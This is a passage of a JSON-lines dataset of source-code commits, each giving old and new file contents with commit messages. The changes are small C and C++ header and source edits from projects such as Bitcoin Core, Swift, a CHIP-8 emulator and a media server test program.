functions are not exported","message":"Use inline as a workaround so that the utf8 functions are not exported\n","lang":"C","license":"mit","repos":"xhochy\/libfuzzymatch,xhochy\/libfuzzymatch"}
{"commit":"fa9ee52556f493e4a896e2570ca1a3102d777d9a","old_file":"src\/policy\/rbf.h","new_file":"src\/policy\/rbf.h","old_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_POLICY_RBF_H\n#define BITCOIN_POLICY_RBF_H\n\n#include <txmempool.h>\n\nenum class RBFTransactionState {\n    UNKNOWN,\n    REPLACEABLE_BIP125,\n    FINAL\n};\n\n\/\/ Determine whether an in-mempool transaction is signaling opt-in to RBF\n\/\/ according to BIP 125\n\/\/ This involves checking sequence numbers of the transaction, as well\n\/\/ as the sequence numbers of all in-mempool ancestors.\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ BITCOIN_POLICY_RBF_H\n","new_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_POLICY_RBF_H\n#define BITCOIN_POLICY_RBF_H\n\n#include <txmempool.h>\n\n\/** The rbf state of unconfirmed transactions *\/\nenum class RBFTransactionState {\n    \/** Unconfirmed tx that does not signal rbf and is not in the mempool *\/\n    UNKNOWN,\n    \/** Either this tx or a mempool ancestor signals rbf *\/\n    REPLACEABLE_BIP125,\n    \/** Neither this tx nor a mempool ancestor signals rbf *\/\n    FINAL,\n};\n\n\/**\n * Determine whether an unconfirmed transaction is signaling opt-in to RBF\n * according to BIP 125\n * This involves checking sequence numbers of the transaction, as well\n * as the sequence numbers of all in-mempool ancestors.\n *\n * @param tx   The unconfirmed transaction\n * @param pool The mempool, which may contain the tx\n *\n * @return     The rbf state\n *\/\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ BITCOIN_POLICY_RBF_H\n","subject":"Add doxygen comment to IsRBFOptIn","message":"doc: Add doxygen comment to IsRBFOptIn\n","lang":"C","license":"mit","repos":"MarcoFalke\/bitcoin,AkioNak\/bitcoin,GroestlCoin\/GroestlCoin,dscotese\/bitcoin,ElementsProject\/elements,litecoin-project\/litecoin,anditto\/bitcoin,jamesob\/bitcoin,EthanHeilman\/bitcoin,jambolo\/bitcoin,ajtowns\/bitcoin,pataquets\/namecoin-core,tecnovert\/particl-core,sstone\/bitcoin,domob1812\/namecore,mm-s\/bitcoin,jlopp\/statoshi,AkioNak\/bitcoin,EthanHeilman\/bitcoin,ElementsProject\/elements,namecoin\/namecoin-core,ajtowns\/bitcoin,achow101\/bitcoin,mruddy\/bitcoin,bitcoin\/bitcoin,qtumproject\/qtum,practicalswift\/bitcoin,apoelstra\/bitcoin,n1bor\/bitcoin,mruddy\/bitcoin,qtumproject\/qtum,MeshCollider\/bitcoin,jlopp\/statoshi,pataquets\/namecoin-core,lateminer\/bitcoin,dscotese\/bitcoin,ajtowns\/bitcoin,yenliangl\/bitcoin,AkioNak\/bitcoin,prusnak\/bitcoin,jamesob\/bitcoin,achow101\/bitcoin,andreaskern\/bitcoin,bitcoinknots\/bitcoin,kallewoof\/bitcoin,mruddy\/bitcoin,fanquake\/bitcoin,cdecker\/bitcoin,particl\/particl-core,jambolo\/bitcoin,practicalswift\/bitcoin,MeshCollider\/bitcoin,rnicoll\/dogecoin,cdecker\/bitcoin,MarcoFalke\/bitcoin,GroestlCoin\/bitcoin,namecoin\/namecore,dscotese\/bitcoin,prusnak\/bitcoin,domob1812\/namecore,prusnak\/bitcoin,mm-s\/bitcoin,practicalswift\/bitcoin,rnicoll\/bitcoin,namecoin\/namecore,bitcoinsSG\/bitcoin,cdecker\/bitcoin,Sjors\/bitcoin,ajtowns\/bitcoin,GroestlCoin\/GroestlCoin,jamesob\/bitcoin,jonasschnelli\/bitcoin,alecalve\/bitcoin,anditto\/bitcoin,GroestlCoin\/bitcoin,jonasschnelli\/bitcoin,pataquets\/namecoin-core,bitcoinknots\/bitcoin,JeremyRubin\/bitcoin,mruddy\/bitcoin,particl\/particl-core,jlopp\/statoshi,bitcoinsSG\/bitcoin,anditto\/bitcoin,AkioNak\/bitcoin,mm-s\/bitcoin,jamesob\/bitcoin,MarcoFalke\/bitcoin,fujicoin\/fujicoin,practicalswift\/bitcoin,jlopp\/statoshi,prusnak\/bitcoin,qtumproject\/qtum,MeshCollider\/bitcoin,pstratem\/bitcoin,fanquake\/bitcoin,alecalve\/bitcoin,anditto\/bitcoin,GroestlCoin\/bitcoin,namecoin\/namecore,apoelstra\/bitcoin,litecoin-project\/litecoin,particl\/particl-core,namecoin\/namecore,jonasschnelli\/bitcoin,sstone\/bitcoin,MarcoFalke\/bitcoin,Xekyo\/bitcoin,rnicoll\/bitcoin,apoelstra\/bitcoin,achow101\/bitcoin,bitcoin\/bitcoin,yenliangl\/bitcoin,ElementsProject\/elements,cdecker\/bitcoin,sstone\/bitcoin,pstratem\/bitcoin,bitcoinsSG\/bitcoin,kallewoof\/bitcoin,rnicoll\/dogecoin,namecoin\/namecoin-core,instagibbs\/bitcoin,rnicoll\/bitcoin,yenliangl\/bitcoin,lateminer\/bitcoin,jlopp\/statoshi,jambolo\/bitcoin,tecnovert\/particl-core,instagibbs\/bitcoin,n1bor\/bitcoin,domob1812\/namecore,Xekyo\/bitcoin,n1bor\/bitcoin,JeremyRubin\/bitcoin,pstratem\/bitcoin,prusnak\/bitcoin,namecoin\/namecoin-core,bitcoin\/bitcoin,jnewbery\/bitcoin,domob1812\/namecore,Xekyo\/bitcoin,bitcoin\/bitcoin,bitcoinknots\/bitcoin,instagibbs\/bitcoin,sstone\/bitcoin,sipsorcery\/bitcoin,yenliangl\/bitcoin,apoelstra\/bitcoin,dscotese\/bitcoin,pstratem\/bitcoin,achow101\/bitcoin,particl\/particl-core,kallewoof\/bitcoin,anditto\/bitcoin,qtumproject\/qtum,MeshCollider\/bitcoin,EthanHeilman\/bitcoin,JeremyRubin\/bitcoin,EthanHeilman\/bitcoin,domob1812\/bitcoin,apoelstra\/bitcoin,pataquets\/namecoin-core,ElementsProject\/elements,particl\/particl-core,bitcoinsSG\/bitcoin,andreaskern\/bitcoin,instagibbs\/bitcoin,litecoin-project\/litecoin,jnewbery\/bitcoin,yenliangl\/bitcoin,JeremyRubin\/bitcoin,domob1812\/bitcoin,lateminer\/bitcoin,AkioNak\/bitcoin,GroestlCoin\/bitcoin,qtumproject\/qtum,MarcoFalke\/bitcoin,instagibbs\/bitcoin,MarcoFalke\/bitcoin,sstone\/bitcoin,JeremyRubin\/bitcoin,litecoin-project\/litecoin,ajtowns\/bitcoin,andreaskern\/bitcoin,kallewoof\/bitcoin,domob1812\/bitcoin,sipsorcery\/bitcoin,cdecker\/bitcoin,mruddy\/bitcoin,GroestlCoin\/bitcoin,namecoin\/namecore,pataquets\/namecoin-core,jnewbery\/bitcoin,n1bor\/bitcoin,Xekyo\/bitcoin,ElementsProject\/elements,jnewbery\/bitcoin,bitcoinsSG\/bitcoin,kallewoof\/bitcoin,jamesob\/bitcoin,particl\/particl-core,mm-s\/bitcoin,andreaskern\/bitcoin,jlopp\/statoshi,alecalve\/bitcoin,pstratem\/bitcoin,achow101\/bitcoin,litecoin-project\/litecoin,domob1812\/namecore,Sjors\/bitcoin,Sjors\/bitcoin,rnicoll\/dogecoin,tecnovert\/particl-core,apoelstra\/bitcoin,cdecker\/bitcoin,tecnovert\/particl-core,ElementsProject\/elements,andreaskern\/bitcoin,Sjors\/bitcoin,dscotese\/bitcoin,achow101\/bitcoin,rnicoll\/bitcoin,rnicoll\/dogecoin,EthanHeilman\/bitcoin,lateminer\/bitcoin,GroestlCoin\/bitcoin,GroestlCoin\/GroestlCoin,rnicoll\/dogecoin,alecalve\/bitcoin,tecnovert\/particl-core,lateminer\/bitcoin,alecalve\/bitcoin,fanquake\/bitcoin,AkioNak\/bitcoin,litecoin-project\/litecoin,pataquets\/namecoin-core,n1bor\/bitcoin,Xekyo\/bitcoin,dscotese\/bitcoin,sipsorcery\/bitcoin,practicalswift\/bitcoin,rnicoll\/bitcoin,andreaskern\/bitcoin,bitcoinknots\/bitcoin,bitcoin\/bitcoin,tecnovert\/particl-core,jambolo\/bitcoin,domob1812\/namecore,mm-s\/bitcoin,prusnak\/bitcoin,Xekyo\/bitcoin,sipsorcery\/bitcoin,lateminer\/bitcoin,qtumproject\/qtum,bitcoin\/bitcoin,fanquake\/bitcoin,fujicoin\/fujicoin,fujicoin\/fujicoin,fujicoin\/fujicoin,sipsorcery\/bitcoin,namecoin\/namecoin-core,namecoin\/namecoin-core,qtumproject\/qtum,bitcoinknots\/bitcoin,fujicoin\/fujicoin,jambolo\/bitcoin,jnewbery\/bitcoin,practicalswift\/bitcoin,n1bor\/bitcoin,fanquake\/bitcoin,ajtowns\/bitcoin,namecoin\/namecore,mruddy\/bitcoin,GroestlCoin\/GroestlCoin,fujicoin\/fujicoin,MeshCollider\/bitcoin,domob1812\/bitcoin,jamesob\/bitcoin,GroestlCoin\/GroestlCoin,jambolo\/bitcoin,Sjors\/bitcoin,kallewoof\/bitcoin,pstratem\/bitcoin,fanquake\/bitcoin,EthanHeilman\/bitcoin,alecalve\/bitcoin,rnicoll\/bitcoin,sstone\/bitcoin,jonasschnelli\/bitcoin,GroestlCoin\/GroestlCoin,namecoin\/namecoin-core,JeremyRubin\/bitcoin,sipsorcery\/bitcoin,bitcoinsSG\/bitcoin,anditto\/bitcoin,mm-s\/bitcoin,domob1812\/bitcoin,MeshCollider\/bitcoin,yenliangl\/bitcoin,domob1812\/bitcoin,instagibbs\/bitcoin,jonasschnelli\/bitcoin"}
{"commit":"e2cd49be27b0e40467415fbc3318a5a4a5ad9161","old_file":"AFToolkit\/AFToolkit.h","new_file":"AFToolkit\/AFToolkit.h","old_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","new_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFReachability.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","subject":"Add Reachability to toolkit header.","message":"Add Reachability to toolkit header.\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"}
{"commit":"8ebf7bc9546695c516859093d8db0d300d8bd23c","old_file":"stdlib\/public\/SwiftShims\/RuntimeStubs.h","new_file":"stdlib\/public\/SwiftShims\/RuntimeStubs.h","old_contents":"\/\/===--- RuntimeStubs.h -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Misc stubs for functions which should be defined in the core standard\n\/\/ library, but are difficult or impossible to write in Swift at the\n\/\/ moment.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n#define SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n#include \"LibcShims.h\"\n\n#ifdef __cplusplus\nnamespace swift { extern \"C\" {\n#endif\n\nSWIFT_BEGIN_NULLABILITY_ANNOTATIONS\n\n__swift_ssize_t\nswift_stdlib_readLine_stdin(char * _Nullable * _Nonnull LinePtr);\n\nSWIFT_END_NULLABILITY_ANNOTATIONS\n\n#ifdef __cplusplus\n}} \/\/ extern \"C\", namespace swift\n#endif\n\n#endif \/\/ SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n","new_contents":"\/\/===--- RuntimeStubs.h -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Misc stubs for functions which should be defined in the core standard\n\/\/ library, but are difficult or impossible to write in Swift at the\n\/\/ moment.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n#define SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n#include \"LibcShims.h\"\n\n#ifdef __cplusplus\nnamespace swift { extern \"C\" {\n#endif\n\nSWIFT_BEGIN_NULLABILITY_ANNOTATIONS\n\nSWIFT_RUNTIME_STDLIB_INTERFACE\n__swift_ssize_t\nswift_stdlib_readLine_stdin(char * _Nullable * _Nonnull LinePtr);\n\nSWIFT_END_NULLABILITY_ANNOTATIONS\n\n#ifdef __cplusplus\n}} \/\/ extern \"C\", namespace swift\n#endif\n\n#endif \/\/ SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_\n\n","subject":"Add export attribute to header declaration.","message":"Add export attribute to header declaration.\n","lang":"C","license":"apache-2.0","repos":"gribozavr\/swift,djwbrown\/swift,xedin\/swift,calebd\/swift,austinzheng\/swift,lorentey\/swift,gmilos\/swift,shajrawi\/swift,tardieu\/swift,alblue\/swift,roambotics\/swift,rudkx\/swift,IngmarStein\/swift,codestergit\/swift,jtbandes\/swift,practicalswift\/swift,manavgabhawala\/swift,brentdax\/swift,airspeedswift\/swift,aschwaighofer\/swift,tjw\/swift,jmgc\/swift,CodaFi\/swift,parkera\/swift,ahoppen\/swift,practicalswift\/swift,gregomni\/swift,nathawes\/swift,natecook1000\/swift,frootloops\/swift,gottesmm\/swift,jmgc\/swift,jckarter\/swift,modocache\/swift,practicalswift\/swift,parkera\/swift,gribozavr\/swift,milseman\/swift,devincoughlin\/swift,JGiola\/swift,tardieu\/swift,gottesmm\/swift,karwa\/swift,hooman\/swift,deyton\/swift,practicalswift\/swift,ben-ng\/swift,shahmishal\/swift,amraboelela\/swift,ben-ng\/swift,deyton\/swift,gribozavr\/swift,ben-ng\/swift,amraboelela\/swift,austinzheng\/swift,atrick\/swift,shahmishal\/swift,natecook1000\/swift,brentdax\/swift,harlanhaskins\/swift,bitjammer\/swift,austinzheng\/swift,jopamer\/swift,danielmartin\/swift,sschiau\/swift,ben-ng\/swift,karwa\/swift,nathawes\/swift,Jnosh\/swift,roambotics\/swift,jtbandes\/swift,tinysun212\/swift-windows,harlanhaskins\/swift,xedin\/swift,JaSpa\/swift,bitjammer\/swift,uasys\/swift,xedin\/swift,therealbnut\/swift,shajrawi\/swift,shahmishal\/swift,benlangmuir\/swift,parkera\/swift,huonw\/swift,lorentey\/swift,gregomni\/swift,manavgabhawala\/swift,IngmarStein\/swift,therealbnut\/swift,alblue\/swift,shajrawi\/swift,tjw\/swift,xwu\/swift,benlangmuir\/swift,arvedviehweger\/swift,atrick\/swift,allevato\/swift,tjw\/swift,bitjammer\/swift,natecook1000\/swift,swiftix\/swift,JaSpa\/swift,gmilos\/swift,lorentey\/swift,aschwaighofer\/swift,rudkx\/swift,bitjammer\/swift,OscarSwanros\/swift,milseman\/swift,amraboelela\/swift,manavgabhawala\/swift,brentdax\/swift,JGiola\/swift,nathawes\/swift,xedin\/swift,jtbandes\/swift,shahmishal\/swift,calebd\/swift,Jnosh\/swift,tinysun212\/swift-windows,devincoughlin\/swift,russbishop\/swift,allevato\/swift,dreamsxin\/swift,Jnosh\/swift,Jnosh\/swift,swiftix\/swift,allevato\/swift,uasys\/swift,return\/swift,felix91gr\/swift,hooman\/swift,shajrawi\/swift,tinysun212\/swift-windows,airspeedswift\/swift,benlangmuir\/swift,JaSpa\/swift,aschwaighofer\/swift,arvedviehweger\/swift,practicalswift\/swift,parkera\/swift,sschiau\/swift,deyton\/swift,harlanhaskins\/swift,modocache\/swift,kperryua\/swift,gregomni\/swift,shajrawi\/swift,huonw\/swift,ken0nek\/swift,huonw\/swift,natecook1000\/swift,return\/swift,shajrawi\/swift,ken0nek\/swift,calebd\/swift,bitjammer\/swift,JaSpa\/swift,sschiau\/swift,jopamer\/swift,jmgc\/swift,parkera\/swift,jmgc\/swift,felix91gr\/swift,sschiau\/swift,zisko\/swift,shahmishal\/swift,lorentey\/swift,parkera\/swift,IngmarStein\/swift,stephentyrone\/swift,calebd\/swift,devincoughlin\/swift,djwbrown\/swift,tinysun212\/swift-windows,atrick\/swift,hooman\/swift,swiftix\/swift,stephentyrone\/swift,frootloops\/swift,kperryua\/swift,kstaring\/swift,austinzheng\/swift,ben-ng\/swift,ahoppen\/swift,stephentyrone\/swift,tjw\/swift,kstaring\/swift,uasys\/swift,djwbrown\/swift,atrick\/swift,modocache\/swift,austinzheng\/swift,sschiau\/swift,stephentyrone\/swift,gmilos\/swift,practicalswift\/swift,JaSpa\/swift,gribozavr\/swift,glessard\/swift,manavgabhawala\/swift,IngmarStein\/swift,brentdax\/swift,milseman\/swift,Jnosh\/swift,kperryua\/swift,huonw\/swift,devincoughlin\/swift,nathawes\/swift,deyton\/swift,kstaring\/swift,felix91gr\/swift,russbishop\/swift,jtbandes\/swift,codestergit\/swift,codestergit\/swift,huonw\/swift,gribozavr\/swift,hughbe\/swift,roambotics\/swift,swiftix\/swift,allevato\/swift,sschiau\/swift,hooman\/swift,uasys\/swift,tardieu\/swift,frootloops\/swift,ken0nek\/swift,danielmartin\/swift,kstaring\/swift,shajrawi\/swift,milseman\/swift,milseman\/swift,practicalswift\/swift,karwa\/swift,zisko\/swift,alblue\/swift,ahoppen\/swift,codestergit\/swift,glessard\/swift,glessard\/swift,allevato\/swift,return\/swift,Jnosh\/swift,shahmishal\/swift,djwbrown\/swift,milseman\/swift,jmgc\/swift,devincoughlin\/swift,uasys\/swift,milseman\/swift,tjw\/swift,karwa\/swift,natecook1000\/swift,karwa\/swift,jckarter\/swift,rudkx\/swift,austinzheng\/swift,devincoughlin\/swift,ahoppen\/swift,xwu\/swift,airspeedswift\/swift,harlanhaskins\/swift,CodaFi\/swift,modocache\/swift,atrick\/swift,therealbnut\/swift,JGiola\/swift,kperryua\/swift,airspeedswift\/swift,manavgabhawala\/swift,gregomni\/swift,aschwaighofer\/swift,OscarSwanros\/swift,russbishop\/swift,parkera\/swift,codestergit\/swift,natecook1000\/swift,russbishop\/swift,rudkx\/swift,ben-ng\/swift,IngmarStein\/swift,allevato\/swift,zisko\/swift,jckarter\/swift,CodaFi\/swift,gmilos\/swift,frootloops\/swift,deyton\/swift,ken0nek\/swift,return\/swift,harlanhaskins\/swift,gottesmm\/swift,kperryua\/swift,djwbrown\/swift,ahoppen\/swift,swiftix\/swift,stephentyrone\/swift,russbishop\/swift,gribozavr\/swift,huonw\/swift,arvedviehweger\/swift,therealbnut\/swift,airspeedswift\/swift,jtbandes\/swift,tkremenek\/swift,lorentey\/swift,lorentey\/swift,OscarSwanros\/swift,CodaFi\/swift,atrick\/swift,Jnosh\/swift,tardieu\/swift,tkremenek\/swift,JGiola\/swift,nathawes\/swift,airspeedswift\/swift,tardieu\/swift,benlangmuir\/swift,dreamsxin\/swift,return\/swift,rudkx\/swift,gottesmm\/swift,swiftix\/swift,JGiola\/swift,felix91gr\/swift,shahmishal\/swift,danielmartin\/swift,kperryua\/swift,devincoughlin\/swift,swiftix\/swift,lorentey\/swift,xedin\/swift,russbishop\/swift,xwu\/swift,calebd\/swift,allevato\/swift,brentdax\/swift,alblue\/swift,xwu\/swift,karwa\/swift,therealbnut\/swift,apple\/swift,jopamer\/swift,roambotics\/swift,jmgc\/swift,arvedviehweger\/swift,devincoughlin\/swift,felix91gr\/swift,deyton\/swift,jopamer\/swift,kstaring\/swift,hooman\/swift,roambotics\/swift,danielmartin\/swift,modocache\/swift,uasys\/swift,hughbe\/swift,huonw\/swift,kstaring\/swift,frootloops\/swift,nathawes\/swift,glessard\/swift,jopamer\/swift,JaSpa\/swift,bitjammer\/swift,therealbnut\/swift,ken0nek\/swift,sschiau\/swift,apple\/swift,felix91gr\/swift,aschwaighofer\/swift,gregomni\/swift,alblue\/swift,codestergit\/swift,OscarSwanros\/swift,modocache\/swift,hughbe\/swift,jtbandes\/swift,xwu\/swift,harlanhaskins\/swift,gottesmm\/swift,CodaFi\/swift,zisko\/swift,tinysun212\/swift-windows,danielmartin\/swift,jckarter\/swift,tkremenek\/swift,zisko\/swift,hooman\/swift,benlangmuir\/swift,return\/swift,apple\/swift,karwa\/swift,hughbe\/swift,hughbe\/swift,shahmishal\/swift,kperryua\/swift,aschwaighofer\/swift,gottesmm\/swift,apple\/swift,jmgc\/swift,xedin\/swift,xedin\/swift,amraboelela\/swift,airspeedswift\/swift,tinysun212\/swift-windows,hughbe\/swift,gmilos\/swift,stephentyrone\/swift,aschwaighofer\/swift,IngmarStein\/swift,kstaring\/swift,jckarter\/swift,IngmarStein\/swift,CodaFi\/swift,nathawes\/swift,ahoppen\/swift,zisko\/swift,parkera\/swift,amraboelela\/swift,rudkx\/swift,deyton\/swift,gribozavr\/swift,uasys\/swift,arvedviehweger\/swift,jtbandes\/swift,frootloops\/swift,jckarter\/swift,danielmartin\/swift,jckarter\/swift,manavgabhawala\/swift,tinysun212\/swift-windows,gmilos\/swift,gmilos\/swift,return\/swift,brentdax\/swift,zisko\/swift,tardieu\/swift,tjw\/swift,benlangmuir\/swift,natecook1000\/swift,apple\/swift,stephentyrone\/swift,karwa\/swift,danielmartin\/swift,arvedviehweger\/swift,amraboelela\/swift,roambotics\/swift,practicalswift\/swift,sschiau\/swift,arvedviehweger\/swift,jopamer\/swift,modocache\/swift,OscarSwanros\/swift,hughbe\/swift,alblue\/swift,codestergit\/swift,therealbnut\/swift,felix91gr\/swift,djwbrown\/swift,tkremenek\/swift,tardieu\/swift,xwu\/swift,JaSpa\/swift,xedin\/swift,glessard\/swift,tjw\/swift,OscarSwanros\/swift,JGiola\/swift,ben-ng\/swift,calebd\/swift,OscarSwanros\/swift,ken0nek\/swift,gottesmm\/swift,apple\/swift,gregomni\/swift,austinzheng\/swift,tkremenek\/swift,jopamer\/swift,harlanhaskins\/swift,alblue\/swift,ken0nek\/swift,hooman\/swift,russbishop\/swift,brentdax\/swift,gribozavr\/swift,amraboelela\/swift,lorentey\/swift,bitjammer\/swift,djwbrown\/swift,tkremenek\/swift,CodaFi\/swift,manavgabhawala\/swift,glessard\/swift,frootloops\/swift,calebd\/swift,xwu\/swift,shajrawi\/swift,tkremenek\/swift"}
{"commit":"b009cbb951c0ac55f7122b9a492a4f9e395a3d86","old_file":"src\/tests\/test-grabber.c","new_file":"src\/tests\/test-grabber.c","old_contents":"","new_contents":"\/*  Media Server - a library and daemon for medias indexation and streaming\n *\n * Copyright (C) 2012 Enna Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *    1. Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *    2. Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifdef HAVE_CONFIG_H\n# include <config.h>\n#endif\n\n#include \"ems_private.h\"\n\nstatic void\n_end_grab_cb(void *data __UNUSED__, const char *filename __UNUSED__)\n{\n    DBG(\"End Grab\");\n    ecore_main_loop_quit();\n}\n\n\n\/*============================================================================*\n *                                 Global                                     *\n *============================================================================*\/\n\nint main(int argc __UNUSED__, char **argv)\n{\n    Eina_Module *m;\n    char tmp[PATH_MAX];\n\n    void (*grab)(const char *filename, Ems_Media_Type type,\n                 void (*Ems_Grabber_End_Cb)(void *data, const char *filename),\n                 void *data\n                 );\n    \n    ems_init(NULL);\n    eina_init();\n    ecore_init();\n    ecore_con_init();\n    ecore_con_url_init();\n    \n    DBG(\"%s init\", argv[0]);\n    \n    \n    if (!argv[1])\n    {\n        printf(\"USAGE : %s grabber_name\", argv[0]);\n        exit(0);\n    }\n    \n    DBG(\"Try to load %s\", argv[1]);\n    DBG(\"Searh for modules in %s with arch %s\", PACKAGE_LIB_DIR \"\/ems\/grabbers\", MODULE_ARCH);\n\n    snprintf(tmp, sizeof(tmp), PACKAGE_LIB_DIR\"\/ems\/grabbers\/%s\/%s\/module.so\", argv[1], MODULE_ARCH);\n    DBG(\"Complete path module %s\", tmp);\n    m = eina_module_new(tmp);\n    \n    eina_module_load(m);\n\n    grab = eina_module_symbol_get(m, \"ems_grabber_grab\");\n    if (grab)\n    {\n        DBG(\"Grab file\");\n        grab(argv[2],\n             1,\n             _end_grab_cb, NULL);\n    }\n\n    \n    \n    ecore_main_loop_begin();\n    \n    eina_module_free(m);\n    \n    ems_shutdown();\n    \n    return EXIT_SUCCESS;\n}","subject":"Add test program for easier grabber's tests","message":"Add test program for easier grabber's tests\n","lang":"C","license":"bsd-2-clause","repos":"raoulh\/Enna-Media-Server,raoulh\/Enna-Media-Server,enna-project\/Enna-Media-Server,enna-project\/Enna-Media-Server,enna-project\/Enna-Media-Server,raoulh\/Enna-Media-Server,raoulh\/Enna-Media-Server,raoulh\/Enna-Media-Server,enna-project\/Enna-Media-Server,enna-project\/Enna-Media-Server"}
{"commit":"e1559a5b92d6db3880f6226e03aed4f5cc1182e0","old_file":"src\/chip8.c","new_file":"src\/chip8.c","old_contents":"#include <stdlib.h>\n#include \"chip8.h\"\n\nchip8_t *\nchip8_new(void) {\n  chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));\n\n  \/* The first 512 bytes are used by the interpreter. *\/\n  self->program_counter = 0x200;\n  self->index_register  = 0;\n  self->stack_pointer   = 0;\n  self->opcode          = 0;\n\n  return self;\n}\n\nvoid\nchip8_free(chip8_t * self) {\n  free(self);\n}\n","new_contents":"#include <stdlib.h>\n#include \"chip8.h\"\n\nchip8_t * chip8_new(void) {\n  chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));\n\n  \/* The first 512 bytes are used by the interpreter. *\/\n  self->program_counter = 0x200;\n  self->index_register  = 0;\n  self->stack_pointer   = 0;\n  self->opcode          = 0;\n\n  return self;\n}\n\nvoid chip8_free(chip8_t * self) {\n  free(self);\n}\n","subject":"Define the functions on one line","message":"Define the functions on one line\n","lang":"C","license":"mit","repos":"gsamokovarov\/chip8.c,gsamokovarov\/chip8.c"}
{"commit":"8f6c32d4d8124bd58caf7886dda3032641416ded","old_file":"CCMessageWindow\/Utils.h","new_file":"CCMessageWindow\/Utils.h","old_contents":"#ifndef StringUtils_h\n#define StringUtils_h\n\n#include <stdio.h>\n#include <string.h>\n\nnamespace CCMessageWindow {\n    class Utils {\n    public:\n        static std::string substringUTF8(const char* str, int from, int length);\n        static std::vector<std::string> split(const std::string& input, char delimiter);\n        static std::string replace(std::string base, std::string src, std::string dst);\n    };\n}\n\n#endif \/* StringUtils_hpp *\/\n","new_contents":"#ifndef StringUtils_h\n#define StringUtils_h\n\n#include \"cocos2d.h\"\n\nnamespace CCMessageWindow {\n    class Utils {\n    public:\n        static std::string substringUTF8(const char* str, int from, int length);\n        static std::vector<std::string> split(const std::string& input, char delimiter);\n        static std::string replace(std::string base, std::string src, std::string dst);\n    };\n}\n\n#endif \/* StringUtils_hpp *\/\n","subject":"Fix build error on Android","message":"Fix build error on 